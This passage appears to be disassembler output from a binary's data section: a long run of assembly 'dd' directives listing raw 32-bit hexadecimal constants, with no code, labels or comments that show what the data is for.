		dd 101CFA71h, 0C50053E4h, 7E4F28B5h, 3B9A5Ah, 0B62329B8h
		dd 0A6AA75E0h, 68A16F00h, 61F00F11h, 163000Eh, 521216CEh
		dd 0AD0F7142h, 0C10641h, 0EF98E2F1h, 0DF80062h,	301158B2h
		dd 0CC90426Dh, 0C361B81Ch, 89A26080h, 0A365C0h,	55266CB0h
		dd 111DA1B5h, 0AB61F800h, 0DAC1C299h, 905D133Eh, 47D4002Bh
		dd 0F37FD478h, 6742401h, 0D3E51F6Ah, 0EC3B6830h, 7B4B6Eh
		dd 0D4B50C90h, 0F900689Dh, 525A9583h, 5B3134h, 2CD6CC0h
		dd 0D1E7F2B7h, 7FA07800h, 0FCD7CE16h, 0D99C00DEh, 1CC33ADDh
		dd 7D008FA6h, 6F930D72h, 4C3412AAh, 2D008098h, 0FDE5945Ah
		dd 8607A405h, 55D3C346h, 0D0BEB480h, 0AE380025h, 354814A7h
		dd 5F004B4Dh, 0A5397C27h, 0F23C81C5h, 0D4CF00FFh, 20DAEF4Eh
		dd 8F0040E6h, 738D53EEh, 3E0857C5h, 0FA8FB20Fh,	43A0F804h
		dd 36BF18DFh, 81C0BC03h, 0B834E056h, 1CC1FA52h,	0FC7EDBh
		dd 53BC3B72h, 0D700A7C2h, 1358E3EEh, 17A527E1h,	0C008D5h
		dd 21939583h, 0DB28EB15h, 1B09A0E2h, 9880B23Fh,	77716Ch
		dd 19D04849h, 0F815B7D3h, 0F02E3AB0h, 3B00B1FCh, 257CF402h
		dd 7C9FCCCh, 22B5FB9Dh
		dd 0B6593037h, 7A14F88Fh, 59D352Fh, 3E33E892h, 429EA800h
		dd 3B39A51h, 0B1E1E061h, 0A2A8FDECh, 440A9510h,	0D13D1FDAh
		dd 0A8204D00h, 52D213h,	0F5837153h, 8036E4DEh, 99985550h
		dd 0F069B400h, 1C569766h, 42940527h, 0C1446462h, 0E4675CDEh
		dd 9F00865Ah, 48F4A0EAh, 0F2C914D5h, 0A0F9497Dh, 8EA916h
		dd 18E4987Bh, 7271831Ch, 5C01790Eh, 7DE2E05Bh, 0A06634C0h
		dd 232A83h, 0B28508BBh,	3AD32D9Fh, 0F6161400h, 4B19E8F5h
		dd 0F7B6014Ah, 67A6A38Eh, 139040D0h, 889AB5FAh,	4C392100h
		dd 2748F1C1h, 89CE0092h, 0B76288CDh, 9D001E6Ch,	7BB8E6EAh
		dd 1D3510CFh, 221341h, 1E54A18Ah, 52007DEDh, 78CEF2BBh
		dd 0A0203Ah, 3C703B36h,	2B2F9291h, 0B977697Ch, 0C331250Eh
		dd 8A344015h, 24275BDFh, 0DEF20Ah, 7C6238ECh, 8178CD5Fh
		dd 0AFF84150h, 0CAC47700h, 78729F6Ch, 0BF1B0019h, 907E4988h
		dd 9649C9D3h, 0D7800048h, 4846FCDAh, 9C86072Fh,	10E0EC5Eh
		dd 80BB0B2Bh, 0FCEFB607h, 62D11F4Dh, 9AF0478Dh,	15A12EB2h
		dd 81DF4h, 327F3E59h, 4A244D68h, 31348EBh, 0A392C500h
		dd 1CED4E53h, 1C862D69h, 0C8027DFh, 0A4E6CB50h,	0ACB0117Ah
		dd 330721h, 0D6B53D4Ah,	0D01285FAh, 6A01E7DBh, 1876A28Eh
		dd 9964AD0h, 0D1FDFFDCh, 3B4B80E0h, 5049C924h, 0E87A7B07h
		dd 0CA1E87D9h, 0F0F284C3h, 449DB9h, 1976C7EFh, 47697CECh
		dd 27133Ch, 0FFEA8971h,	11AAF70h, 0D85D244Ch, 0F40F3AC5h
		dd 0F93BF08Eh, 0B93D0079h, 0B8AA8D75h, 0B2F73EF2h, 6455C880h
		dd 0CD4D3A13h, 2D615E00h, 0D1369B7Eh, 143800AFh, 0EB5691A9h
		dd 990321A4h, 0BB5FFBB0h, 6D7DD085h, 88A95CC4h,	0AA5B0074h
		dd 0B20B9CFCh, 314DF4Fh, 39D4E063h, 10359C84h, 9E672400h
		dd 1B9170h, 3D395B0Eh, 328E12B8h, 80970B3Ch, 0C76F3564h
		dd 7BFC8DEh, 8D6BD30Eh,	523E2065h, 0CC0B3048h, 8089E6A2h
		dd 0FD293788h, 6A0C8892h, 486DDA14h, 0C5E500A4h, 0FB0065Eh
		dd 0D213D47h, 0C050A18Fh, 0A70253A0h, 0D5003DE1h, 2C15C2BFh
		dd 1676A45h, 4427FCD8h,	8073E6D1h, 6140EEB6h, 0E4C7E1h
		dd 0CD1BE3A4h, 992378F2h, 2F0E761Fh, 5080803Bh,	2140130h
		dd 117A0207h, 76403B42h, 0E3585C70h, 545D8074h,	7CF9CB2h
		dd 0E53F45E4h, 506F1043h, 0E0003CD2h, 29867F19h, 0F8C4B18h
		dd 4F4223A7h, 6397D720h, 6B00CEF8h, 0FC764DF5h,	8ECB64h
		dd 0F14BCCEEh, 0B566A27Bh, 0C9D49007h, 9A80557Eh, 95FC5Fh
		dd 60EA2758h, 9142C443h, 57395200h, 6F13820Eh, 0DE8C0085h
		dd 0D3A3C1F9h, 0B5050DBDh, 6AE4E579h, 0F6F2F3C0h, 0A82B24C3h
		dd 67B60070h, 936ED78Ah, 340F5D00h, 0DF70A5B5h,	43180059h
		dd 0D8DBF361h, 1001CBE2h, 0D3F90EFEh, 0B6CCA991h, 0C4A805E5h
		dd 0C0CA4F2Bh, 8BAA2ECCh, 21160101h, 259F96ECh,	0CB59030h
		dd 5B10CA1Eh, 4F7284D8h, 8D83F11Eh, 0AB01C4AEh,	165D3B78h
		dd 0C485B050h, 80FE3081h, 0FAF96D74h, 0D4AA6807h, 9D803D0Dh
		dd 8A5614h, 2EA831FBh, 15554E16h, 97D5012Ch, 0E1D4AB06h
		dd 2D8A1F5Ah, 24BB80C0h, 12DBFF95h, 0EF005179h,	65F38BE7h
		dd 3AAA9Dh, 0AD8537Ch, 0A219681Ch, 235FA100h, 0A5F35741h
		dd 0A3FB0015h, 392D89Fh, 0C300C8DFh, 0D9E0B7BBh, 7FAAEC0Bh
		dd 5BC200A0h, 7CE632A9h, 4D00B5FEh, 21EB3C85h, 17EBA89h
		dd 0CC7637DDh, 30581971h, 0DE138425h, 640F8A81h, 50E1204Fh
		dd 0EE7D82h, 0CFD22293h, 0DE891771h, 0BE75009Eh, 0B44C847Dh
		dd 0BAFCE190h, 6A3DC8h,	0B588C889h, 0A143AC7Ah,	0C1511700h
		dd 0CE44A780h, 4D0600A0h, 0EEEBC052h, 3B0045C7h, 0D85556B5h
		dd 7A75054h, 7DBFC909h,	3C407044h, 9700898Ah, 0CECF9DFEh
		dd 9073B1D1h, 9628099Eh, 0C090324Bh, 200C1D6h, 669B4FC9h
		dd 33D8082h, 0EB0B5CEh,	6EA03661h, 5110FFD3h, 0BE004146h
		dd 0BA6B3782h, 7839F70Ch, 0F2BF80EBh, 249FDA20h, 4B23D0Ah
		dd 138BD380h, 0D8585A73h, 21BD7D00h, 8CCC75CFh,	500F0039h
		dd 59B6F1A1h, 0F900A5A3h, 426782DFh, 46DA3Ah, 8E4AFADDh
		dd 3E549FB1h, 4B0A3403h, 4D1C66h, 0DB630CA0h, 0F2ACF749h
		dd 0A8FD4400h, 8FD0229Ch, 661E1C6Eh, 0E9C5C07Dh, 1AD21FA7h
		dd 5E060A00h, 0CBEF7151h, 7F9F073Eh, 0A1CA5Dh, 0FB781D0Ch
		dd 0CF88D200h, 327E4B3Fh, 0CAA92589h, 0B025B884h, 0E501E4C0h
		dd 624B54AEh, 0C82C71C5h, 9E233F7Ah, 0E180B83Dh, 0CBC7DAA6h
		dd 51047AEEh, 49521DD2h, 0BE2CE280h, 9A358FCh, 7E256000h
		dd 0BA6476A6h, 0FBE21404h, 0C8C0D106h, 6BC959h,	406F2D17h
		dd 0C8589F90h, 0DF000771h, 1A991D97h, 7C3F0Bh, 3D22E557h
		dd 0B734AE6Bh, 47EA6712h, 606ACC01h, 4AFCBA28h,	871000C1h
		dd 0B36C6542h, 0FB070E86h, 0DEA7C47Fh, 1184D820h, 3A72FE5Ah
		dd 3F03F74Eh, 0EEBD6B9Ch, 8DD44CD0h, 8089733Bh,	4401BE48h
		dd 0AD0DF0h, 4F14D6BAh,	1F6CD4B3h, 0ABB57900h, 2FA43E5Dh
		dd 97A500B9h, 0E2359FA1h, 8E001BBBh, 0F0E1B6F8h, 0E9C0B8h
		dd 0FABA5D6Dh, 0CA0BCD0Dh, 9AEEDB00h, 313C991Ah, 16B49883h
		dd 97864Ch, 0C3C67068h,	463E2E2Fh, 8A94504Ah, 0A7682007h
		dd 0A340E2CEh, 16623B9h, 0FB52197Ch, 3D5AA5FDh,	1BF70F80h
		dd 740A0007h, 3B28494h,	0F6C6C938h, 0AAF858BDh,	5DE8A3A4h
		dd 4BEEDB72h, 4F76B900h, 865EDC09h, 0DAF500C5h,	0A5360712h
		dd 0F800E901h, 0C147648Dh, 1A2461Bh, 1D843AF0h,	68B83450h
		dd 0A0280E98h, 0A7CA00C1h, 0D87E33h, 600F1DEBh,	460D86C6h
		dd 5A142095h, 16FA4B0h,	59639D78h, 0C45C22A1h, 390049E0h
		dd 0EEEFE768h, 0C3AB9Ch, 517108C8h, 0D5C4A225h,	0DFFE7475h
		dd 0C9CC2D06h, 0F2AE2A4Bh, 5CBA29h, 9F9D923Ah, 5461DCB5h
		dd 0F9490101h, 0A8299BD4h, 0FC41F460h, 554F0026h, 77D5EDD0h
		dd 67001A15h, 0C8E0F0FEh, 0B2B398h, 0DFE88C84h,	40469DC7h
		dd 0A90E70B0h, 7512B1Ah, 0AC7C879h, 0F08580C0h,	0BD8D0981h
		dd 0F0E805A0h, 0DB0014C6h, 2AF6E5Fh, 0F23CD995h, 0E741007Ch
		dd 1B6C7291h, 87097590h, 8035A922h, 9D794A38h, 0A87497h
		dd 69529C23h, 0C2762D7h, 30643E18h, 0EE3521h, 0F56D29D4h
		dd 0D520AEF6h, 88FB9B00h, 3C770C54h, 0C05A0091h, 29AA0E05h
		dd 0E217EC58h, 0A08F92D9h, 43094459h, 4460D113h, 707A554Bh
		dd 79684A00h, 3AB6E003h, 17F41CF5h, 49C40038h, 0B4019F82h
		dd 2DE1A201h, 1528C0D1h, 25D97BFCh, 0E448B140h,	0AE004760h
		dd 0B6BF9212h, 74F78B1Dh, 7A6C60C2h, 94B55268h,	0A385B900h
		dd 0AD9F8A35h, 70530328h, 7C17F7AFh, 1D6EA880h,	91B0AC00h
		dd 885CD279h, 0F63EAD3h, 35A55C2h, 10304092h, 378097F9h
		dd 7E1FD712h, 0A840B0h,	0DFDEB16h, 0C2A84A0h, 7DAAB801h
		dd 0B4223537h, 2576E4h,	0D371C446h, 72D0FCEDh, 53AADC0Bh
		dd 0A28F7509h, 9CF1F8C3h, 60A6CF80h, 7F290A1Dh,	0EFFC5500h
		dd 3376D3Fh, 0DC750B06h, 9898E327h, 923985B5h, 9FC200A8h
		dd 0E00DD76Bh, 54E90E6Dh, 0D140269Eh, 2D623BD3h, 90004BFEh
		dd 8C0A8882h, 5C0427h, 51079A54h, 145D7D29h, 2FA96C00h
		dd 2A66CE16h, 214B25A4h, 4C1329D8h, 2600EED6h, 2EC42575h
		dd 92F65Dh, 23147AA0h, 83EC0297h, 383F39h, 0D6C99B9Dh
		dd 0FD29340h, 0B01BA1E4h, 9C1AF563h, 0D3B028C3h, 8E003DDDh
		dd 0B52E443Fh, 73AC175h
		dd 0BFBC1B61h, 456680A9h, 0A575D8AFh, 19DE901h,	1BCB3FC0h
		dd 0CA91E440h, 6F4000Eh, 11E53A08h, 307412Bh, 0A2217B5Eh
		dd 0F3FED960h, 0FAA0EE56h, 525900E3h, 9271969Eh, 0EC246179h
		dd 0A48348DAh, 0A08F435Eh, 5B1833h, 0FD19AA29h,	10D47F9Eh
		dd 82D66503h, 0F29FFC42h, 7B86C094h, 0F19A1F70h, 472A805Ch
		dd 0F663110Dh, 3FE93B1Eh, 1C2CD8C2h, 957C6035h,	2D733869h
		dd 0A64D9B87h, 7F6E90ABh, 1505C343h, 4C04F72Ch,	0B826B400h
		dd 589C5D22h, 462503D7h, 0C00080C7h, 4E3ACE1Dh,	892600A1h
		dd 0C9DE1EDBh, 77138802h, 0EC038B73h, 98537001h, 737BFC8h
		dd 36E8D257h, 8B8021A7h, 66DF402Ch, 50BF7DE2h, 0C68D1C07h
		dd 86E307A4h, 0F1FF3133h, 8F5874F0h, 67995F00h,	3DACB35Dh
		dd 90570324h, 0AA8875FDh, 142A20A8h, 670BC600h,	298151Bh
		dd 12E2EA51h, 0B55909h,	0A2488133h, 6F0019CCh, 7FC0C72Fh
		dd 94E01FDEh, 0C87C0BC0h, 0AA0BA800h, 8A7A879Bh, 0CFF28C03h
		dd 0F34DA583h, 3397B8B8h, 93480052h, 0D05F0F78h, 0AA00F9ABh
		dd 8B8FF664h, 1C54D36h,	0AE3919B0h, 704ADCE9h, 0F00B86F3h
		dd 0A34565h, 0D08B32ECh, 14B300EEh, 0C62324F8h,	68011126h
		dd 811CED6Fh, 0C3D30DB6h, 453DD03Ch, 0D435007Bh, 0CA1B2EDCh
		dd 420085C1h, 28EEA69Ah, 7278D3h, 7D2F3C8h, 52CD8B08h
		dd 0BFA37900h, 19DF54E0h, 8A3C0205h, 4AD4C95Eh,	3E6ED080h
		dd 0E2005FCFh, 56FF2039h, 0C65DC4h, 0CA18D7E4h,	1EB3B1F1h
		dd 840B5FECh, 8B357FC1h, 508000BBh, 7568F57h, 4C1566BBh
		dd 7E6BB0FAh, 4300E6B4h, 0E47C01AFh, 56A2539h, 0FF98E948h
		dd 11BE0095h, 0E692284Ch, 0A0B0B700h, 0BC40AAE7h, 264EE26h
		dd 72D27CDAh, 0FC8043BAh, 74DA64Eh, 2E294Ch, 0F9FD537Fh
		dd 1E5F9456h, 5CCBFAh, 8612074Ch, 0F339642Dh, 908A0013h
		dd 743A4360h, 0E4D73EEh, 0CDD31F69h, 5A970097h,	0D2737058h
		dd 95BC8095h, 0FEB0C7h,	98D9BA40h, 0B9109B29h, 6B282598h
		dd 0BC00CCDDh, 0A526381Ch, 0EF1DBB6h, 6E659955h, 0A82008CEh
		dd 4F35E1EDh, 5F17BF00h, 46AC885Dh, 10890076h, 0F20CA27Bh
		dd 213A39DEh, 0A8033CD0h, 24F1E796h, 0B203224Ch, 0AEEF7EA9h
		dd 4799807Ah, 0E1780019h, 0A8DB9785h, 0C9163B3Dh, 6C88F688h
		dd 19361395h, 0F720A0CBh, 1F1BEF0Fh, 6AC52FCDh,	1901F47Ah
		dd 0C26D9B7Fh, 285BCF4h, 4E13D098h, 8C68F421h, 320077A6h
		dd 0F3E08627h, 0D37E2Bh, 0F1EF4C35h, 9CA36203h,	17014E75h
		dd 103FF499h, 6024B268h, 0AA921D25h, 0D7EC8039h, 5733B77Fh
		dd 0FA79F3EAh, 9B4C9D01h, 3B21BD9Eh, 4DC3C4h, 2941A431h
		dd 82F6D344h, 9F15A900h, 0BE8B2280h, 0EEE100D6h, 0F2241C3Ch
		dd 0AF00A5A8h, 4920CCB2h, 86B5C9h, 0AAE134DEh, 0C936AE2h
		dd 98225C07h, 9B208485h, 0C328D579h, 4973A121h,	0FFB139D0h
		dd 0C9E8030Eh, 0FC4160E0h, 2218D02h, 24F0DCC8h,	8C0D70Fh
		dd 1255207h, 0B7F491DBh, 100DC4h, 0BF1C2F62h, 6B022483h
		dd 1CF5013Ch, 0A300421Ah, 686752F9h, 27D300A7h,	907279E2h
		dd 3250B8Eh, 12604CF7h,	69D12Fh, 0C320AB2Ah, 3BFE3C66h
		dd 6E5CE601h, 30B8A79Bh, 3F83C9h, 0E3ED9CB7h, 7EB88256h
		dd 2F12C800h, 0D6A27F5Bh, 767200A6h, 0E6F5882Eh, 77003C0Eh
		dd 2D683F97h, 552870Ah,	795F6B8Ah, 0ED9880DAh, 0D805C3CEh
		dd 94C9CFC7h, 37BD04C1h, 410AD8h, 9248FE5Fh, 8FC06CB6h
		dd 80586D00h, 0A618F71Eh, 7E3A002Fh, 0ED991C70h, 3300B660h
		dd 0CE1E2EBh, 330F288h,	0F10FBDB1h, 0BAE0F763h,	641F063Eh
		dd 2D02252Eh, 60A68AF5h, 0C21A34h, 67C89541h, 0D9DC2954h
		dd 10FCC000h, 0DB14F652h, 1410757h, 50448903h, 8117721Ch
		dd 270046EEh, 543D8CE1h, 31BFD0Ch, 0D64194FCh, 56F86873h
		dd 0F800CA15h, 0C406CD9Bh, 16F6C0h, 9D54322Fh, 7040EBE5h
		dd 83461900h, 0A3E9D3B8h, 368F0FAh, 5E02F587h, 0A4D862BAh
		dd 64008B97h, 0A649B553h, 0CC6FBFh, 8E882802h, 8D434C7Ah
		dd 974AA900h, 94F81CB1h, 608400C6h, 0C75F07BEh,	0FC5C83B3h
		dd 0BF2F0E77h, 2680FE35h, 0F043C442h, 2DA00F47h, 0CC00AD0h
		dd 79F84853h, 0DB600400h, 0ED36E18h, 6750091h, 402CBFBBh
		dd 0B700679Fh, 5AA5F83Dh, 0C06589D8h, 3502CB10h, 0A900165Ch
		dd 4F21B972h, 982B5092h, 0F42D0F72h, 8F80FD05h,	0F248AC19h
		dd 0B200BEF0h, 8ABFD4D8h, 0F79174Ch, 6B2F3A9Dh,	64045320h
		dd 752C61D6h, 44008C08h, 5B787756h, 0E57B006Fh,	1E49EB01h
		dd 0F200CF4Ah, 0D3DAC1C9h, 373EFA8h, 78484F86h,	36A19A41h
		dd 3CD8FCAEh, 1408C500h, 9FBDF765h, 11121273h, 0DEA0C08Eh
		dd 0CB00D925h, 0CA77F24h, 144147Ch, 3433F2CDh, 8009E92Ch
		dd 4ACC2788h, 3040740Eh, 95085B59h, 0B4FAD2C2h,	41C70512h
		dd 33111700h, 0A80F4Eh,	95BB6AA9h, 3E683518h, 0C9CE9A00h
		dd 0E1B41BF6h, 7DD2006Dh, 0D7AA8359h, 0BF020C1Ch, 33272D16h
		dd 0DFE0754Dh, 1B008271h, 9AD9A8B6h, 601D69F7h,	6EFA2025h
		dd 5B004340h, 0D8486F8Ah, 7C93ADDh, 3B6164C3h, 2F9C60E7h
		dd 0C7F49983h, 0BEA75B00h, 98561542h, 20A000CBh, 5C8093BFh
		dd 0DEF44BECh, 920EC507h, 83104879h, 554D4Eh, 472ED995h
		dd 0DD0AC3BBh, 0E2AA8650h, 80D1D038h, 4834E17h,	0D77854h
		dd 0BC0B9122h, 0ED1F1698h, 0B92CAC00h, 0D05292E3h, 0D1C0002Ah
		dd 23FCDB30h, 0EE0099A5h, 0F1739E49h, 70FB8Dh, 4FE6C880h
		dd 1FE4A469h, 4D95C207h, 0CAD0D19Ah, 0BF621Ah, 347E2C99h
		dd 414EF346h, 6CD99D00h, 8BE363C2h, 0B08D021Dh,	29E4443Ah
		dd 1A43204Ah, 5AF3D09Fh, 799883E9h, 0C2845414h,	7D077D98h
		dd 5B222DD7h, 0A7657120h, 491264F6h, 67DB603Bh,	4303F075h
		dd 0CE24E7h, 0A89C861Ch, 7E87AC0h, 50762BD7h, 2C08F5CDh
		dd 85FE0522h, 0BCDDF0BAh, 19A63952h, 38688932h,	0A3C9C18h
		dd 0E64B107Ah, 482C9B7h, 9C60E58Bh, 0BF0EC1E8h,	3863DD7Dh
		dd 1CABBD58h, 14EBC8h, 6CA1F0BCh, 0DE608D0Fh, 0B1CEEF1h
		dd 0F1B32C43h, 466400FEh, 2588064Eh, 5786831Fh,	9A80742Ch
		dd 0F9FABDBFh, 0F29E676h, 2A9E07F3h, 0DE876D80h, 0AC0F0AB8h
		dd 0E0D17927h, 0AACB7ABAh, 72150143h, 0ED6442F6h, 0E779868Eh
		dd 0F08078BCh, 3DC7B0FDh, 6C004C81h, 0AC7B5BDFh, 0FBF0FAEBh
		dd 17898A00h, 84F29A1Dh, 9D920237h, 455AB430h, 79010B40h
		dd 80AEEA3Ch, 6FA34631h, 3CC889B3h, 43000CF7h, 3B7EBAFCh
		dd 0DB0065AFh, 4EE34D6Ch, 0FE8216h, 0F8265879h,	0FFD57E51h
		dd 5CA33E00h, 704F7B14h, 640703D0h, 5DA01016h, 0D6D03C83h
		dd 0AD3D3F8Ah, 438400A5h, 0A1C57154h, 1D0A0078h, 9ED97F68h
		dd 4B3DD6E8h, 80DBBFA3h, 8B2E1C79h, 18E5A7F2h, 101B8AC2h
		dd 4A51184h, 3AD2F740h,	28C8F990h, 0BC5B009Bh, 0ADB28355h
		dd 6101CA29h, 0A705676Fh, 20B92B43h, 0B6A49Dh, 2899093Bh
		dd 4C00F5FCh, 0E371510Bh, 0C52B7Dh, 642AA40h, 6D091441h
		dd 9E629400h, 0A4D3F26Fh, 0F9C1E565h, 13436FCh,	0EFF4BF19h
		dd 805B6CFBh, 1DB8240Eh, 83ACA2h, 4442F879h, 8280F937h
		dd 0F018EA00h, 25C2911Fh, 0EF401F93h, 0B1F3C095h, 0EED18312h
		dd 0F9A49B38h, 0A7C4C800h, 5C16132h, 0C29F0021h, 92CBA58Ch
		dd 690FAB59h, 0A004B7D8h, 3C5F5C83h, 935300DCh,	72288590h
		dd 0D826FF59h, 0D000F53Ah
		dd 89584E7Eh, 9B0B0ED1h, 9D3F45DFh, 3EB4C034h, 8BD7805Dh
		dd 1A07651Ch, 21C3F800h, 13B6F3h, 7C4B3FE2h, 18F44804h
		dd 61B200Eh, 301620F1h,	7CFBB93Ah, 0B7C7009Bh, 950F1F75h
		dd 0C40002AEh, 0A8CF3438h, 0F39287h, 2EFC2599h,	83669C1Fh
		dd 5B0C9D1Dh, 0B20793C7h, 4ADE006Bh, 0F41EC4h, 0C5EC0FC2h
		dd 0E9D27EC0h, 0F81AAE28h, 8E16A50Fh, 181320A9h, 0DF0A8Ch
		dd 0DA4635C2h, 0B10F89FAh, 991B7101h, 2380E214h, 9C6BDCh
		dd 5AB00EB9h, 0F97E84B3h, 53F1EF00h, 5886E6EDh,	50C78A5h
		dd 89854F77h, 0FD1C8035h, 1A004039h, 2EDCD713h,	3F0AED56h
		dd 0BF072DEEh, 10BCD0ECh, 0A7137573h, 9E500D7Eh, 2A0088A8h
		dd 0C5E05859h, 3AE91801h, 0F92CD1h, 32E13840h, 0EB996F8Bh
		dd 0B524C200h, 0CC576D5Dh, 109D163Ah, 312E005Fh, 3775D59Ch
		dd 53460E00h, 0F99ED8BBh, 4FD00C1h, 3C28EA78h, 0AA00B57Ah
		dd 0DFC558F8h, 4980D4h,	810CEF4Fh, 2B33E4B8h, 0AF4CB900h
		dd 2A45CBBEh, 0F6E90641h, 0A003C4B5h, 0C8835200h, 0A323B189h
		dd 7F1D01FCh, 7776F158h, 0E29D30F0h, 3843500Fh,	2FB00020h
		dd 7AF13CAh, 9F5CDC94h,	80E6C525h, 0B4110429h, 0C5B0A202h
		dd 8034CE06h, 0E2ABECCh, 6EB50750h, 50A573D8h, 0BA64BCF1h
		dd 177CC77h, 1A77A415h,	0F21500E4h, 0D4999170h,	0ACD00051h
		dd 49C37D93h, 0C67DB8B7h, 85043573h, 29CF2243h,	988604C3h
		dd 1CC7B30Bh, 2FE428h, 0FCED732Dh, 0A70059E8h, 0DE3029F1h
		dd 34098F6h, 4B7B1767h,	0D98058A5h, 0E74826B6h,	0BB6300E0h
		dd 0A68FFEC6h, 4F4A13BDh, 4E345C2Bh, 1A83C0A9h,	708F346Eh
		dd 720B8FCDh, 8C7C3Bh, 846D4E22h, 3F7082FEh, 0C887FCBCh
		dd 0A0A5FF7Fh, 1916C22Ch, 83FB1700h, 513EE4E7h,	8F8C01A4h
		dd 3FF3D3BAh, 3444E994h, 693BBC50h, 800501E7h, 0A8ABC5C6h
		dd 0D541F7F9h, 2AF2DCh,	7F4982C3h, 4300BE47h, 0EA2BD1E1h
		dd 79CACBD5h, 409088h, 0FD7DB21Ch, 0D39A27A7h, 0D829B00h
		dd 536939D6h, 0AD6F0FC7h, 1703602Fh, 27B0F5FAh,	0A900D340h
		dd 1FA4E4A2h, 6A14D1h, 0D4CEF3EEh, 0A55FD9BFh, 5EEA6825h
		dd 0ACF900DAh, 2AEBF49Ah, 15D13A07h, 8C10538Bh,	5219D7h
		dd 4974DCAFh, 0FA3A4485h, 0F7B01F00h, 413460FEh, 517591h
		dd 553DC525h, 54F86492h, 7673CB0Bh, 0F0F300DCh,	0A062B3h
		dd 3768E5FDh, 75199BA3h, 902F0C00h, 7A34E297h, 0F20E75D6h
		dd 0E4C20044h, 586ABE78h, 510020CEh, 9499D047h,	0B0F3B1E3h
		dd 68201F4h, 9B67A4CAh,	752A702Fh, 96874012h, 0B32D7841h
		dd 0C0DB3C20h, 15F1C95h, 3EAB8159h, 0EDA042ECh,	0B3A4DCFBh
		dd 0D2BA6B00h, 4ACC4547h, 617800E7h, 3F717FE3h,	3EE8A75Bh
		dd 4ED98000h, 5A0CCE50h, 0E48924Fh, 8F79D553h, 608AF8E0h
		dd 620063E5h, 0DBCAF566h, 2C10FF4Fh, 8F740E83h,	0EC82E58Ah
		dd 5440C7A0h, 6C03F680h, 45D92160h, 85C999F9h, 696C60h
		dd 7020DCF3h, 0A3028EBAh, 8724A13Eh, 0F45FA5F6h, 0B35EA0C0h
		dd 0CA8800B7h, 8498F82Ah, 2E3C9EE4h, 364F8030h,	0FB08D628h
		dd 6EE70029h, 68240A38h, 0ABEC127Dh, 0F366E800h, 0C1DA0677h
		dd 455907DDh, 0D08BC6E1h, 8812DC6Bh, 0B6AD9B00h, 0BEF4452h
		dd 0B3CE003Fh, 7504F6C5h, 0BD02C3ECh, 0D4B79E6Eh, 63C680BAh
		dd 70831874h, 95F5002Eh, 0B709C2F8h, 23024FDAh,	4CE15BA4h
		dd 6117C0C0h, 0C2B300DEh, 199AEA03h, 1A02A9C3h,	14E0AD51h
		dd 8584C1DFh, 7CE30C4h,	0CAE1571h, 3896B09Eh, 50099FAh
		dd 2C400AC7h, 310FFD6Dh, 88949856h, 0E02DFD9Fh,	0DE02F45Dh
		dd 6BC90E04h, 0ECEEC08Fh, 396500D5h, 9B4E6FF6h,	12001602h
		dd 388E547Bh, 7897BCD2h, 25797Ah, 415881Bh, 2B89E91Ch
		dd 68D85Dh, 0FE4C11B6h,	1D85D693h, 6F39B8h, 976C9641h
		dd 0B007E119h, 0B7A67BBEh, 59AB6480h, 0DE9000EFh, 0B5E0FB76h
		dd 6800A810h, 430E6CC8h, 0F48752D2h, 84654D51h,	37009C3Ch
		dd 54060AB8h, 9E00E383h, 8C586334h, 184E57B3h, 90B0A8D2h
		dd 7030EF10h, 32F03825h, 52C00AC9h, 0E02CD6D4h,	0B137884Eh
		dd 0E00638CEh, 3EF77DD3h, 0E701299h, 28D004Dh, 0CC53829Fh
		dd 0F98E380Eh, 9B620A8h, 1E55F441h, 373DEFh, 0A2449DC9h
		dd 0F50064E3h, 0E6902E18h, 9B4155h, 73BAD0F0h, 3E9754B6h
		dd 4450B92Bh, 0B0A99004h, 6041CD61h, 9203E513h,	0C5EF8062h
		dd 6F8DC856h, 327007B4h, 50B69BF1h, 538738C8h, 0F262E21Ch
		dd 0DC37C300h, 88467Ch,	0A613FBC5h, 499872C9h, 79D7F300h
		dd 0E36559CCh, 0FBB500B0h, 0B167C508h, 16031247h, 0AE79F9CDh
		dd 0FD739803h, 1E937D7Eh, 8069536Ah, 5C168D22h,	4F0E0FA9h
		dd 62B10D3Ch, 5D076AD3h, 77DD40Ah, 1FDB46D4h, 0C005EE87h
		dd 7785A56Dh, 0DA122F1Fh, 239D6ACEh, 0B8146855h, 4C3130A9h
		dd 4A00FC2Ch, 90408A66h, 220FE892h, 6B19AD2h, 7B1186B0h
		dd 47CA022Bh, 1D022D66h, 641AA080h, 0C100B439h,	50F2DDF5h
		dd 7BFF7411h, 2BD30090h, 0B1CB51ABh, 5207C79Ch,	3DF0D9F1h
		dd 3F0CD720h, 0C5280933h, 68208379h, 0CFC682A2h, 0E4914500h
		dd 0EC287184h, 711D7C0Ah, 8EDE00C2h, 308FA51Ch,	0AA07E6B9h
		dd 0B1CEA820h, 3B3DBFF0h, 0B0285995h, 0ECD47D3Fh, 5E7900E8h
		dd 14314930h, 1007C550h, 71DDD039h, 88607C40h, 678F077Fh
		dd 3037C7D7h, 117D21B7h, 5AC50701h, 58C8B936h, 37E7B440h
		dd 0D1440C89h, 2E680351h, 53F5A200h, 547A96D6h,	659C00C9h
		dd 90839B23h, 0E1035C2Fh, 0ED11EB07h, 15F49813h, 96E83073h
		dd 5E1A4320h, 0A853010Eh, 0B34DC666h, 0C9310318h, 0EB03816Ch
		dd 0F753018Fh, 3029806Fh, 6C190566h, 0A6801C7Eh, 40428208h
		dd 19415F9Ch, 55C4D86Eh, 2764B507h, 0D0075EF5h,	48E25000h
		dd 110D0EDFh, 0AC042ABh, 0E808A9E4h, 18007AE8h,	86952DD0h
		dd 0DF4B6DE1h, 0EA944E88h, 82A7E767h, 0E5C056B3h, 950757E5h
		dd 0A8526575h, 552510C0h, 11C100C0h, 0FB4FD7FAh, 0B001609h
		dd 1131873h, 6319Eh, 1B469167h,	4CEC72AAh, 15735572h, 0BFAEFF14h
		dd 0B9830086h, 6B6510C7h, 0A88700BEh, 0A0EED75Fh, 81010166h
		dd 0D3E395ECh, 3FCE80Bh, 1A7B00FFh, 5F1D3B49h, 2603F189h
		dd 0CC37163h, 93A4F34Ch, 92A6D813h, 0EA4D00E2h,	0FF54BF6Dh
		dd 2A188BAAh, 0A50EC5B0h, 0FA907030h, 8AC21E7Ch, 5F7287D4h
		dd 0D1A28F07h, 0DC42DE0Eh, 0F4909863h, 0F4B0DA7Eh, 7DC17A63h
		dd 0A5080076h, 21F2F3C9h, 507FBCAh, 0C8E954DEh,	1FC3BDA0h
		dd 9CEA3E6Ah, 0B1CA5F00h, 61FBA44Ah, 0C2A87160h, 2015A6h
		dd 3A2B98D5h, 0F18C24B3h, 8100307Ch, 0C5E68707h, 565574h
